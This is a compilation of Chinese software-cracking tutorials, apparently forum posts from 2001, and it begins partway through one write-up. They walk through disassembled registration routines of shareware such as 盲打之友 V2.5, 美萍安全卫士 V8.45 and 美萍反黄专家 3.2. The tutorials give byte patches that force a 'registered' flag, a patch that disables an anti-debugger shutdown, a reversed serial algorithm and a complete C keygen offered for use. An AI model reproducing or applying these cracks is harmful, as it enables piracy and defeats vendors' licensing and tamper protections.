    很明显，0046F2C0 有重大的作案嫌疑，嘻……因为一到 0046F2C5 eax 的值变成 2547 了，当然，这是我的序列号计算出的，你的当然不是了。我们就进入去看看，看看 2547 这个数是怎么来的，呵……还有，我试过在不同的电脑上，0494AABA的值都是固定的。
    各位看官，请进……

* Referenced by a CALL at Address:
|:0046F2C0
|
:0046F150 55 push ebp
:0046F151 8BEC mov ebp, esp
:0046F153 83C4D8 add esp, FFFFFFD8
:0046F156 53 push ebx
:0046F157 56 push esi
:0046F158 57 push edi
:0046F159 8945FC mov dword ptr [ebp-04], eax //将参数保存到变量[ebp-04]
:0046F15C 8B45FC mov eax, dword ptr [ebp-04]
:0046F15F E86C4DF9FF call 00403ED0
:0046F164 33C0 xor eax, eax
:0046F166 55 push ebp
:0046F167 68F2F14600 push 0046F1F2
:0046F16C 64FF30 push dword ptr fs:[eax]
:0046F16F 648920 mov dword ptr fs:[eax], esp
:0046F172 33C0 xor eax, eax
:0046F174 8945F8 mov dword ptr [ebp-08], eax //变量[ebp-08]赋初值为0
:0046F177 8D45E3 lea eax, dword ptr [ebp-1D]
:0046F17A 8B55FC mov edx, dword ptr [ebp-04]
:0046F17D E88E95F9FF call 00408710
:0046F182 8B45FC mov eax, dword ptr [ebp-04]
:0046F185 E8924BF9FF call 00403D1C　 //取序列号长度
:0046F18A 8BF8 mov edi, eax //edi 记录序列号长度
:0046F18C 85FF test edi, edi
:0046F18E 7E49 jle 0046F1D9 //当然不能为空
:0046F190 BB01000000 mov ebx, 00000001
:0046F195 8D75E3 lea esi, dword ptr [ebp-1D] //esi 指向序列号的字符

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0046F1D7(C)
|
:0046F198 895DDC mov dword ptr [ebp-24], ebx
:0046F19B DB45DC fild dword ptr [ebp-24] //浮点运算，被除数进栈
:0046F19E D83504F24600 fdiv dword ptr [0046F204] //除以一个数
:0046F1A4 E87B37F9FF call 00402924 //结果转换成整数
:0046F1A9 895DD8 mov dword ptr [ebp-28], ebx
:0046F1AC DB45D8 fild dword ptr [ebp-28] //浮点运算，被除数进栈
:0046F1AF D83504F24600 fdiv dword ptr [0046F204] //除以一个数
:0046F1B5 DED9 fcompp //比较两个浮点数
:0046F1B7 DFE0 fstsw ax　　　　　　　　　 //将状态字写入 ax
:0046F1B9 9E sahf //状态字放入 FLAG 寄存器
:0046F1BA 750D jne 0046F1C9　　　　　　 　//是否相等？

    看到这里，可能有人会问，这是啥呀？其实，上面从0046F198 - 0046F1BA 是验证你取序列号的位数是奇数还是偶数，奇数则跳转，EBX 记录你所取序列号的位数。不信？你试试！
    继续……

    ①当所取序列号的位数为偶数时，会来到这里……

:0046F1BC 33C0 xor eax, eax
:0046F1BE 8A06 mov al, byte ptr [esi] //取ESI指向的字符到EAX中
:0046F1C0 F7EB imul ebx　　　　　 　　　 //和EBX相乘
:0046F1C2 03C3 add eax, ebx　　　 　　//加EBX
:0046F1C4 0145F8 add dword ptr [ebp-08], eax　 //加到变量[ebp-08]
:0046F1C7 EB0B jmp 0046F1D4 //无条件跳转

    ②当所取序列号位数为奇数时，会跳到这里……

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0046F1BA(C)
|
:0046F1C9 33C0 xor eax, eax
:0046F1CB 8A06 mov al, byte ptr [esi] //取ESI指向的字符到EAX
:0046F1CD F7EB imul ebx //和EBX相乘
:0046F1CF 2BC3 sub eax, ebx　　　　　 　　//减去EBX
:0046F1D1 0145F8 add dword ptr [ebp-08], eax　//放到变量[ebp-08]

    无论所取序列号的位数是奇数还是偶数，每步计算完毕都会来到这里……

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0046F1C7(U)
|
:0046F1D4 43 inc ebx //EBX 递增
:0046F1D5 46 inc esi //ESI 递增
:0046F1D6 4F dec edi　 //EDI 递减
:0046F1D7 75BF jne 0046F198　//EDI为0，循环结束，就是看你的序列号是否已经取完，未取完则继续循环，依此类推……真烦！！！！！！！

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0046F18E(C)
|
:0046F1D9 8B5DF8 mov ebx, dword ptr [ebp-08]
:0046F1DC 33C0 xor eax, eax
:0046F1DE 5A pop edx
:0046F1DF 59 pop ecx
:0046F1E0 59 pop ecx
:0046F1E1 648910 mov dword ptr fs:[eax], edx
:0046F1E4 68F9F14600 push 0046F1F9

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0046F1F7(U)
|
:0046F1E9 8D45FC lea eax, dword ptr [ebp-04]
:0046F1EC E8AB48F9FF call 00403A9C
:0046F1F1 C3 ret

    如此这般……经过一番折腾，出来时 EAX 值就变成 2547 了！

    唉……也不知对不对，还望大侠们赐教！头昏眼花，不写了！！


盲打之友V2.5

 标 题:盲打之友V2.5破解（包括注册算法） (11千字)
发信人:crackjack[BCG]
时 间:2001-10-29 23:32:22
详细信息:
盲打之友V2.5破解过程

工具：trw2000
Hview
W32dasm 8.93黄金中文版

破解：crackjack[BCG]

未注册版本的限制:1、只能练习2分钟。2、只能运行三次，超过三次必须重新启动系统才能继续使用

我们仍然是用两种方法来注册它：爆破和注册机。

一、爆破：
用W32DASM反汇编程序，在串式参考中查找"软件注册失败!
请重新注册!"，双击它，会转到下面的代码：

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00469C5C(C)
|

* Possible StringData Ref from Code Obj ->"软件注册失败!
请重新注册!"
|
:00469C9B B89C9D4600 mov eax, 00469D9C
:00469CA0 E8EB22FEFF call 0044BF90
:00469CA5 EB0A jmp 00469CB1

从代码来看，是从地址00469C5C跳转来的，我们看看这个地址的代码：

:00469C4A E8A559FFFF call 0045F5F4
:00469C4F 8B55F4 mov edx, dword ptr [ebp-0C]
:00469C52 8B45F8 mov eax, dword ptr [ebp-08]
:00469C55 E8BA57FFFF call 0045F414 <=====计算和比较注册码
:00469C5A 84C0 test al, al
:00469C5C 743D je 00469C9B <=====跳到注册失败的地方
:00469C5E 8B45FC mov eax, dword ptr [ebp-04]
:00469C61 E8B656FFFF call 0045F31C <=====尝试把注册码写入注册表
:00469C66 84C0 test al, al
:00469C68 7425 je 00469C8F <=====如果失败则跳

* Possible StringData Ref from Code Obj ->"恭喜!恭喜!
软件注册成功!" <=====注册成功
|
:00469C6A B8049D4600 mov eax, 00469D04
:00469C6F E81C23FEFF call 0044BF90
:00469C74 33D2 xor edx, edx
:00469C76 8B8620040000 mov eax, dword ptr [esi+00000420]
:00469C7C E84716FCFF call 0042B2C8

好了,我们知道00469C55是关键CALL,所以要F8进入,看它是在什么地方会给al赋值的:

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:0045F448(C), :0045F45C(C), :0045F4E9(C), :0045F4EE(C), :0045F535(C)
|:0045F53A(C)
|
:0045F561 33C0 xor eax, eax
:0045F563 5A pop edx
:0045F564 59 pop ecx
:0045F565 59 pop ecx
:0045F566 648910 mov dword ptr fs:[eax], edx
:0045F569 687EF54500 push 0045F57E

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0045F57C(U)
|
:0045F56E 8D45F0 lea eax, dword ptr [ebp-10]
:0045F571 E89A43FAFF call 00403910
:0045F576 C3 ret

:0045F577 E9543EFAFF jmp 004033D0
:0045F57C EBF0 jmp 0045F56E
:0045F57E 8A45F7 mov al, byte ptr [ebp-09] <=====取标志,如果注册码错误,则al=0,所以我

们把它改为mov al,01；NOP
:0045F581 5F pop edi
:0045F582 5E pop esi
:0045F583 5B pop ebx
:0045F584 8BE5 mov esp, ebp
:0045F586 5D pop ebp
:0045F587 C3 ret

我们知道这段代码一共有6个地址跳到这里，这6个地址都是注册码错误或者是没有注册时都会跳到这里，所以只要我

们改掉0045F57E地址的代码就可以了。

如果你对它的注册算法感兴趣，请继续看下去吧：

二、注册算法：

该软件的注册码形式是 123456-7890ab-cdefgh-ijklmn，运算方法是取注册码的奇数位(假设我们输入的注册码是前面

所说的，则取出的注册码是13579acegikm),然后通过计算后，得出注册码的偶数位。

我们F8进入00469C55处的CALL：

:0045F414 55 push ebp
:0045F415 8BEC mov ebp, esp
:0045F417 83C4E4 add esp, FFFFFFE4
:0045F41A 53 push ebx
:0045F41B 56 push esi
:0045F41C 57 push edi
:0045F41D 33C9 xor ecx, ecx
:0045F41F 894DF0 mov dword ptr [ebp-10], ecx
:0045F422 8955F8 mov dword ptr [ebp-08], edx
:0045F425 8945FC mov dword ptr [ebp-04], eax
:0045F428 33C0 xor eax, eax
:0045F42A 55 push ebp
:0045F42B 6877F54500 push 0045F577
:0045F430 64FF30 push dword ptr fs:[eax]
:0045F433 648920 mov dword ptr fs:[eax], esp
:0045F436 C645F700 mov [ebp-09], 00
:0045F43A 8B45FC mov eax, dword ptr [ebp-04]
:0045F43D E84A47FAFF call 00403B8C <=====计算奇数位的注册码长度,EAX=长度
:0045F442 3B05B0EC4600 cmp eax, dword ptr [0046ECB0] <=====和0C比较
:0045F448 0F8513010000 jne 0045F561 <=====不相等则跳到注册失败
:0045F44E 8B45F8 mov eax, dword ptr [ebp-08]
:0045F451 E83647FAFF call 00403B8C <=====计算偶数位的注册码长度,EAX=长度
:0045F456 3B05B0EC4600 cmp eax, dword ptr [0046ECB0] <=====和0C比较
:0045F45C 0F85FF000000 jne 0045F561 <=====不相等则跳到注册失败
:0045F462 33FF xor edi, edi
:0045F464 A1B4EC4600 mov eax, dword ptr [0046ECB4] <=====取得计算系数5945H
:0045F469 8945EC mov dword ptr [ebp-14], eax <=====保存以用于计算
:0045F46C A1BCEC4600 mov eax, dword ptr [0046ECBC] <=====取得计算系数F3B4H
:0045F471 8945E8 mov dword ptr [ebp-18], eax <=====保存以用于计算

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0045F40E(C)
|
:0045F474 8B45FC mov eax, dword ptr [ebp-04]
:0045F477 E81047FAFF call 00403B8C
:0045F47C 85C0 test eax, eax
:0045F47E 7C16 jl 0045F496
:0045F480 40 inc eax
:0045F481 8945E4 mov dword ptr [ebp-1C], eax
:0045F484 33F6 xor esi, esi

* Referenced by a (U)nconditional or (C)onditional Jump at Address: <====这里的代码是计算奇数位注册码的

总和,作为计算第一个偶数的计算系数,结果放在EDI中
|:0045F494(C)
|
:0045F486 8B45FC mov eax, dword ptr [ebp-04]
:0045F489 0FB64430FF movzx eax, byte ptr [eax+esi-01] <=====取奇数位注册码
:0045F48E 03F8 add edi, eax <=====累加
:0045F490 46 inc esi
:0045F491 FF4DE4 dec [ebp-1C]
:0045F494 75F0 jne 0045F486 <=====没有加完则继续加

* Referenced by a (U)nconditional or (C)onditional Jump at Address: <=====计算偶数位的代码
|:0045F47E(C)
|
:0045F496 A1B8EC4600 mov eax, dword ptr [0046ECB8] <=====取计算系数C499H
:0045F49B 2145EC and dword ptr [ebp-14], eax <=====与 EDI 异或(结果假设为R1)
:0045F49E 8D45F0 lea eax, dword ptr [ebp-10]
:0045F4A1 8B15B0EC4600 mov edx, dword ptr [0046ECB0]
:0045F4A7 E8104AFAFF call 00403EBC
:0045F4AC A1C0EC4600 mov eax, dword ptr [0046ECC0] <=====取计算系数5908H
:0045F4B1 2145E8 and dword ptr [ebp-18], eax <=====与F3B4 异或(结果假设为R2)
:0045F4B4 A1B0EC4600 mov eax, dword ptr [0046ECB0]
:0045F4B9 85C0 test eax, eax
:0045F4BB 0F8E91000000 jle 0045F552
:0045F4C1 8945E4 mov dword ptr [ebp-1C], eax
:0045F4C4 BE01000000 mov esi, 00000001

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0045F54C(C)
|
:0045F4C9 8B45FC mov eax, dword ptr [ebp-04]
:0045F4CC 33DB xor ebx, ebx
:0045F4CE 8A5C30FF mov bl, byte ptr [eax+esi-01] <====取注册码
:0045F4D2 83FB30 cmp ebx, 00000030 <====比较是否是数字
:0045F4D5 7C05 jl 0045F4DC <=====不是则跳到下一个比较
:0045F4D7 83FB39 cmp ebx, 00000039
:0045F4DA 7E14 jle 0045F4F0 <=====是则跳到注册码计算处

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0045F4D5(C)
|
:0045F4DC 83FB41 cmp ebx, 00000041
:0045F4DF 7C05 jl 0045F4E6 <=====比较是否是大写字母
:0045F4E1 83FB5A cmp ebx, 0000005A
:0045F4E4 7E0A jle 0045F4F0

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0045F4DF(C)
|
:0045F4E6 83FB61 cmp ebx, 00000061 <=====比较是否是小写字母
:0045F4E9 7C76 jl 0045F561
:0045F4EB 83FB7A cmp ebx, 0000007A
:0045F4EE 7F71 jg 0045F561 <=====如果都不是,则注册失败

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses: <====这里是注册码的计算
|:0045F4DA(C), :0045F4E4(C)
|
:0045F4F0 8B45FC mov eax, dword ptr [ebp-04] <=====取奇数位注册码(N)
:0045F4F3 0FB64430FF movzx eax, byte ptr [eax+esi-01] <=====EAX=注册码
:0045F4F8 8BD0 mov edx, eax <=====EDX=EAX
:0045F4FA 03D7 add edx, edi <====EDX=EAX+EDI
:0045F4FC 0FAF55EC imul edx, dword ptr [ebp-14] <=====EDX=EDX*R1
:0045F500 8B4DFC mov ecx, dword ptr [ebp-04]
:0045F503 0FB60C31 movzx ecx, byte ptr [ecx+esi] <=====取N+1位的注册码(ECX)
:0045F507 33F9 xor edi, ecx <=====EDI=EDI XOR ECX
:0045F509 0FAF7DE8 imul edi, dword ptr [ebp-18] <=====EDI=EDI * R2
:0045F50D 03D7 add edx, edi <=====EDX=EDX+EDI
:0045F50F 8BFA mov edi, edx <=====EDI=EDX
:0045F511 C1EF08 shr edi, 08 <=====EDI右移8位,同时这个结果作为下一

位注册码的计算系数
:0045F514 8B55FC mov edx, dword ptr [ebp-04]
:0045F517 8BD8 mov ebx, eax <=====EBX=N
:0045F519 33DF xor ebx, edi <=====EBX=EBX xor EDI
:0045F51B 83E37F and ebx, 0000007F <=====EBX=EBX and 7F(取EBX中的一个BL,作为相应偶数

位的注册码)
:0045F51E 83FB30 cmp ebx, 00000030 <=====比较结果是不是数字
:0045F521 7C05 jl 0045F528
:0045F523 83FB39 cmp ebx, 00000039
:0045F526 7E14 jle 0045F53C

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0045F521(C)
|
:0045F528 83FB41 cmp ebx, 00000041 <=====比较结果是不是大写字母
:0045F52B 7C05 jl 0045F532
:0045F52D 83FB5A cmp ebx, 0000005A
:0045F530 7E0A jle 0045F53C

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0045F52B(C)
|
:0045F532 83FB61 cmp ebx, 00000061 <======比较结果是不是小写字母
:0045F535 7C2A jl 0045F561
:0045F537 83FB7A cmp ebx, 0000007A
:0045F53A 7F25 jg 0045F561 <======如果都不是,则注册失败

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:0045F526(C), :0045F530(C)
|
:0045F53C 8D45F0 lea eax, dword ptr [ebp-10]
:0045F53F E81848FAFF call 00403D5C
:0045F544 885C30FF mov byte ptr [eax+esi-01], bl <=====保存结果
:0045F548 46 inc esi
:0045F549 FF4DE4 dec [ebp-1C] <=====计算完了吗?
:0045F54C 0F8577FFFFFF jne 0045F4C9 <======没有则继续计算

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0045F4BB(C)
|
:0045F552 8B45F0 mov eax, dword ptr [ebp-10] <=====取输入的偶数位假注册码
:0045F555 8B55F8 mov edx, dword ptr [ebp-08] <=====取计算出来的注册码
:0045F558 E83F47FAFF call 00403C9C <=====比较注册码
:0045F55D 0F9445F7 sete byte ptr [ebp-09] <=====按比较的结果设注册标志

好了,注册算法清楚了,注册机我就不能一时编出来的,这个软件不能用另类的注册机制作软件来制作,只能用编程来穷

举出它的注册码了.等几天吧,我再发表我的注册机.


美萍安全卫士V8.45

 标 题:美萍安全卫士V8.45注册机制作分析过程，及注册机！ (11千字)
发信人:funyliang
时 间:2001-10-28 9:58:12
详细信息:
:00402BF0 691540C04A0005840808 imul edx, dword ptr [004AC040], 08088405
:00402BFA 42 inc edx
:00402BFB 891540C04A00 mov dword ptr [004AC040], edx
:00402C01 F7E2 mul edx
:00402C03 89D0 mov eax, edx
:00402C05 C3 ret
([4ac040]*8088405+1)*edx取高16位
------------------------------------------------------------------------
* Referenced by a CALL at Addresses:
|:00475A02 , :00475A86
|
:00474EC4 55 push ebp
:00474EC5 8BEC mov ebp, esp
:00474EC7 83C4F0 add esp, FFFFFFF0
:00474ECA 53 push ebx
:00474ECB 56 push esi
:00474ECC 57 push edi
:00474ECD 33D2 xor edx, edx
:00474ECF 8955F4 mov dword ptr [ebp-0C], edx
:00474ED2 8BD8 mov ebx, eax
:00474ED4 33C0 xor eax, eax
:00474ED6 55 push ebp

* Possible StringData Ref from Code Obj ->"殂�鹈^媇"
|
:00474ED7 68D8504700 push 004750D8
:00474EDC 64FF30 push dword ptr fs:[eax]
:00474EDF 648920 mov dword ptr fs:[eax], esp
:00474EE2 BE3D010000 mov esi, 0000013D

* Possible StringData Ref from Data Obj ->"鸟I"
|
:00474EE7 8B0DB0AF4A00 mov ecx, dword ptr [004AAFB0]
:00474EED 8B09 mov ecx, dword ptr [ecx]
:00474EEF 8B15E8AD4A00 mov edx, dword ptr [004AADE8]
:00474EF5 8B12 mov edx, dword ptr [edx]
:00474EF7 8D45F4 lea eax, dword ptr [ebp-0C]
:00474EFA E819EEF8FF call 00403D18
:00474EFF 8B45F4 mov eax, dword ptr [ebp-0C]
:00474F02 E8152CF9FF call 00407B1C---------->这里不知是搞什么的，大侠指点
:00474F07 84C0 test al, al
:00474F09 7405 je 00474F10
:00474F0B BE3D020000 mov esi, 0000023D

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00474F09(C)
|
:00474F10 8BC3 mov eax, ebx
:00474F12 99 cdq
:00474F13 F7FE idiv esi----------->机器号/13D
:00474F15 A1D0AF4A00 mov eax, dword ptr [004AAFD0]
:00474F1A 8910 mov dword ptr [eax], edx---->取余数
:00474F1C B84A100000 mov eax, 0000104A
:00474F21 E8CADCF8FF call 00402BF0--->上余数与8088405相乘在加1再与104a相乘
:00474F26 8BF0 mov esi, eax----->取上结果的高16位
:00474F28 B8C6160000 mov eax, 000016C6------->this
:00474F2D E8BEDCF8FF call 00402BF0
:00474F32 03F0 add esi, eax------>上两个余数相加
:00474F34 8975F0 mov dword ptr [ebp-10], esi
:00474F37 DB45F0 fild dword ptr [ebp-10]---->取结果到浮点寄存器st0
:00474F3A D80D449E4A00 fmul dword ptr [004A9E44]--->st0*1.172367
:00474F40 83C4FC add esp, FFFFFFFC
:00474F43 D91C24 fstp dword ptr [esp]
:00474F46 9B wait
:00474F47 E848D0FFFF call 00471F94----->上结果的取整数部分
:00474F4C 8945F0 mov dword ptr [ebp-10], eax
:00474F4F DB45F0 fild dword ptr [ebp-10]
:00474F52 D80D449E4A00 fmul dword ptr [004A9E44]--->乘1。172367
:00474F58 83C4FC add esp, FFFFFFFC
:00474F5B D91C24 fstp dword ptr [esp]
:00474F5E 9B wait
:00474F5F E830D0FFFF call 00471F94--------->取整数部分
:00474F64 8BF0 mov esi, eax--------->这是注册号的一部分，共四部分求和。后面不详细分析了，自己看看吧~！
:00474F66 8BC3 mov eax, ebx
:00474F68 B911000000 mov ecx, 00000011
:00474F6D 99 cdq
:00474F6E F7F9 idiv ecx
:00474F70 83F213 xor edx, 00000013
:00474F73 8955F0 mov dword ptr [ebp-10], edx
:00474F76 DB45F0 fild dword ptr [ebp-10]
:00474F79 D80D489E4A00 fmul dword ptr [004A9E48]-->乘3。712
:00474F7F 83C4FC add esp, FFFFFFFC
:00474F82 D91C24 fstp dword ptr [esp]
:00474F85 9B wait
:00474F86 E809D0FFFF call 00471F94
:00474F8B 8B15D0AF4A00 mov edx, dword ptr [004AAFD0]
:00474F91 8902 mov dword ptr [edx], eax
:00474F93 B8770F0000 mov eax, 00000F77
:00474F98 E853DCF8FF call 00402BF0
:00474F9D 8BF8 mov edi, eax
:00474F9F B8E1210000 mov eax, 000021E1
:00474FA4 E847DCF8FF call 00402BF0
:00474FA9 03F8 add edi, eax
:00474FAB B817000000 mov eax, 00000017
:00474FB0 E83BDCF8FF call 00402BF0
:00474FB5 33F8 xor edi, eax--->edi中为第二部分
:00474FB7 D905409E4A00 fld dword ptr [004A9E40]-->13.7757
:00474FBD D805449E4A00 fadd dword ptr [004A9E44]--->1。172367
:00474FC3 D805489E4A00 fadd dword ptr [004A9E48]---->3.712三个求和:00474FC9 8BC3 mov eax, ebx
:00474FCB B90F000000 mov ecx, 0000000F
:00474FD0 99 cdq
:00474FD1 F7F9 idiv ecx
:00474FD3 83F20D xor edx, 0000000D
:00474FD6 8955F0 mov dword ptr [ebp-10], edx
:00474FD9 DB45F0 fild dword ptr [ebp-10]
:00474FDC DEC1 faddp st(1), st(0)
:00474FDE 83C4FC add esp, FFFFFFFC
:00474FE1 D91C24 fstp dword ptr [esp]
:00474FE4 9B wait
:00474FE5 E8AACFFFFF call 00471F94
:00474FEA 8B15D0AF4A00 mov edx, dword ptr [004AAFD0]
:00474FF0 8902 mov dword ptr [edx], eax
:00474FF2 B88B0F0000 mov eax, 00000F8B
:00474FF7 E8F4DBF8FF call 00402BF0
:00474FFC 50 push eax
:00474FFD B8691C0000 mov eax, 00001C69
:00475002 E8E9DBF8FF call 00402BF0
:00475007 5A pop edx
:00475008 03D0 add edx, eax
:0047500A 52 push edx
:0047500B B8590E0000 mov eax, 00000E59
:00475010 E8DBDBF8FF call 00402BF0
:00475015 5A pop edx
:00475016 03D0 add edx, eax
:00475018 52 push edx
:00475019 B8EF0D0000 mov eax, 00000DEF
:0047501E E8CDDBF8FF call 00402BF0
:00475023 5A pop edx
:00475024 03D0 add edx, eax
:00475026 52 push edx
:00475027 B872210000 mov eax, 00002172
:0047502C E8BFDBF8FF call 00402BF0
:00475031 5A pop edx
:00475032 03D0 add edx, eax
:00475034 8955FC mov dword ptr [ebp-04], edx--->edx中为第三部分
:00475037 D905E8504700 fld dword ptr [004750E8]
:0047503D D80D449E4A00 fmul dword ptr [004A9E44]
:00475043 83C4FC add esp, FFFFFFFC
:00475046 D91C24 fstp dword ptr [esp]
:00475049 9B wait
:0047504A E845CFFFFF call 00471F94
:0047504F 50 push eax
:00475050 8BC3 mov eax, ebx
:00475052 5A pop edx
:00475053 8BCA mov ecx, edx
:00475055 99 cdq
:00475056 F7F9 idiv ecx
:00475058 8BDA mov ebx, edx
:0047505A B8B4000000 mov eax, 000000B4
:0047505F E88CDBF8FF call 00402BF0
:00475064 8945F0 mov dword ptr [ebp-10], eax
:00475067 DB45F0 fild dword ptr [ebp-10]
:0047506A E885D9F8FF call 004029F4---->求正弦值
:0047506F D80DEC504700 fmul dword ptr [004750EC]--->结果乘100
:00475075 E8A6D9F8FF call 00402A20
:0047507A 8945F8 mov dword ptr [ebp-08], eax
:0047507D 895DF0 mov dword ptr [ebp-10], ebx
:00475080 DB45F0 fild dword ptr [ebp-10]
:00475083 D80D409E4A00 fmul dword ptr [004A9E40]
:00475089 83C4FC add esp, FFFFFFFC
:0047508C D91C24 fstp dword ptr [esp]
:0047508F 9B wait
:00475090 E8FFCEFFFF call 00471F94
:00475095 0345F8 add eax, dword ptr [ebp-08]
:00475098 8B15D0AF4A00 mov edx, dword ptr [004AAFD0]
:0047509E 8902 mov dword ptr [edx], eax
:004750A0 B84F0F0000 mov eax, 00000F4F
:004750A5 E846DBF8FF call 00402BF0
:004750AA 8BD8 mov ebx, eax
:004750AC B8D11D0000 mov eax, 00001DD1
:004750B1 E83ADBF8FF call 00402BF0
:004750B6 03D8 add ebx, eax--->ebx中为第四部分。
:004750B8 8BC3 mov eax, ebx
:004750BA 8D1C37 lea ebx, dword ptr [edi+esi]
:004750BD 035DFC add ebx, dword ptr [ebp-04]
:004750C0 03D8 add ebx, eax--->这三条指令是求和
:004750C2 33C0 xor eax, eax
:004750C4 5A pop edx
:004750C5 59 pop ecx
:004750C6 59 pop ecx
:004750C7 648910 mov dword ptr fs:[eax], edx

* Possible StringData Ref from Code Obj ->"媉[迕"
|
:004750CA 68DF504700 push 004750DF

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004750DD(U)
|
:004750CF 8D45F4 lea eax, dword ptr [ebp-0C]
:004750D2 E879E9F8FF call 00403A50
:004750D7 C3 ret

:004750D8 E993E3F8FF jmp 00403470
:004750DD EBF0 jmp 004750CF
:004750DF 8BC3 mov eax, ebx
:004750E1 5F pop edi
:004750E2 5E pop esi
:004750E3 5B pop ebx
:004750E4 8BE5 mov esp, ebp
:004750E6 5D pop ebp
:004750E7 C3 ret

:004750E8 0000 BYTE 2 DUP(0)

:004750EA C6420000 mov [edx+00], 00
:004750EE C8 BYTE c8h
:004750EF 42 BYTE 42h
——————————————————————————
注册机如下：
#include<stdlib.h>
#include<math.h>
main()
{unsigned long a=0,b=0,c=0,d=0,e,tem,gao;
float sem,dem;
unsigned long jqh;
unsigned long sn;
printf("\nThis is Smenu keygen,writen by [CYL/Funyliang]");
printf("\nHttp://go6.163.com/funyliang");
printf("\nPlease input the Smenu's serial:");
scanf("%lu",&jqh);
tem=jqh%0x13d;
tem=(tem*0x8088405+1);
gao=js(tem,0x104a);
a=a+gao;
tem=(tem*0x8088405+1);
gao=js(tem,0x16c6);
a=a+gao;
sem=a*1.72367;
a=sem;
sem=a*1.72367;
a=sem;
b=jqh%0x11;
b=b^0x13;
sem=b*3.712;
tem=sem;
tem=(tem*0x8088405+1);
gao=js(tem,0xF77);
b=0;
b=gao+b;
tem=(tem*0x8088405+1);
gao=js(tem,0x21e1);
b=gao+b;
tem=(tem*0x8088405+1);
gao=js(tem,0x17);
b=b^gao;
sem=13.7757+1.72367+3.712;
c=jqh%0xf;
c=c^0xd;
sem=sem+c;
c=0;
tem=sem;
tem=(tem*0x8088405+1);
gao=js(tem,0xf8b);
c=c+gao;
tem=(tem*0x8088405+1);
gao=js(tem,0x1c69);
c=c+gao;
tem=(tem*0x8088405+1);
gao=js(tem,0xe59);
c=c+gao;
tem=(tem*0x8088405+1);
gao=js(tem,0xdef);
c=c+gao;
tem=(tem*0x8088405+1);
gao=js(tem,0x2172);
c=c+gao;
sem=99*1.72367;
d=sem;
d=jqh%d;
tem=(tem*0x8088405+1);
gao=js(tem,0xb4);
sem=sin(gao)*100;
e=sem;
sem=d*13.7757;
d=sem;
tem=d+e;
d=0;
tem=(tem*0x8088405+1);
gao=js(tem,0xf4f);
d=d+gao;
tem=(tem*0x8088405+1);
gao=js(tem,0x1dd1);
d=d+gao;
sn=a+b+c+d;
printf("\nYour number is:%lu",sn);
}
js(unsigned long s1 ,int s2)
{unsigned long he,he1;
unsigned long m;
int i;
m=0;
he=s1;
for(i=1;i<s2;i++)
{he1=he;
he=he+s1;
if (he<he1||he<s1) m++;
}
return m;
}


美萍反黄专家 版本3.2

 标 题:美萍反黄专家 版本3.2破解实录 (6千字)
发信人:雁南飞
时 间:2001-12-8 2:25:42
详细信息:
美萍反黄专家 版本3.2破解实录
     ＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝

破解时间：2001-12-8
软件简介：该软件对抗TRW、SOFTICE、WD32SM、CRACKCODE等破解工具！
破解形式：注册码
破解工具：trw(调试工具）、pw32dasm（反汇编）
破解作者：ybyb

具体破解过程：
                        第一部分，破解对抗
                    ＝＝＝＝＝＝＝＝＝＝＝＝＝＝
一、用FI侦测，发现它用ASPACK壳,于是用caspr110解压.

二、解除发现破解工具立即关机问题！
    先运行shield.exe，它会自动检测你的硬盘是否存在以下文件，
如果存在就立即重新启动电脑！黑名单如下：
  内存中的：
  1、softice
  2、trw、
当然目录下的：
  1、CRACKCODE
  2、WDAS

  解决办法：
* Referenced by a CALL at Addresses:
|:004740BB , :00474139 , :00476E3C , :00477647 , :0047853C \
| \
\ 所有发现黑名单的地方都调 用这个关机函数，
* Reference To: user32.ExitWindowsEx, Ord:0000h /
| /
:00407000 FF25F4164800 Jmp dword ptr [004816F4]==>NOP掉 /
:00407006 8BC0 mov eax, eax

好了不再关机了，大家可以追注册码了。

=============================================================

第二部分，找注册码

1.w32dasm反汇编,串式参考"未注册版本只能使用30天，现在还剩" 具体是：

** Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0047735B(C)
|
:00477384 A1D4F24700 mov eax, dword ptr [0047F2D4]<====== eax ,注册标志位
:00477389 3B05540C4800 cmp eax, dword ptr [00480C54]<======这个不可忽略d 00480c54 为B
:0047738F 0F8404010000 je 00477499<====关键跳转
:00477395 E85ABDFFFF call 004730F4
:0047739A A3E4F24700 mov dword ptr [0047F2E4], eax

* Possible StringData Ref from Code Obj ->"未注册版本只能使用30天，现在还剩"
|
:0047739F 68287A4700 push 00477A28
:004773A4 8D55A8 lea edx, dword ptr [ebp-58]
:004773A7 A1E8F24700 mov eax, dword ptr [0047F2E8]
:004773AC 2B05E4F24700 sub eax, dword ptr [0047F2E4]
:004773B2 40 inc eax
:004773B3 E85415F9FF call 0040890C
:004773B8 FF75A8 push [ebp-58]
:004773BB 68547A4700 push 00477A54
:004773C0 8D45AC lea eax, dword ptr [ebp-54]
:004773C3 BA03000000 mov edx, 00000003
:004773C8 E87BCBF8FF call 00403F48
:004773CD 8B55AC mov edx, dword ptr [ebp-54]
:004773D0 8B8380030000 mov eax, dword ptr [ebx+00000380]
:004773D6 E8CD87FBFF call 0042FBA8
:004773DB 8B15E4F24700 mov edx, dword ptr [0047F2E4]
:004773E1 8B8378030000 mov eax, dword ptr [ebx+00000378]
:004773E7 E85442FEFF call 0045B640
:004773EC A1E8F24700 mov eax, dword ptr [0047F2E8]
:004773F1 83E80F sub eax, 0000000F
:004773F4 3B05E4F24700 cmp eax, dword ptr [0047F2E4]
:004773FA 7D50 jge 0047744C
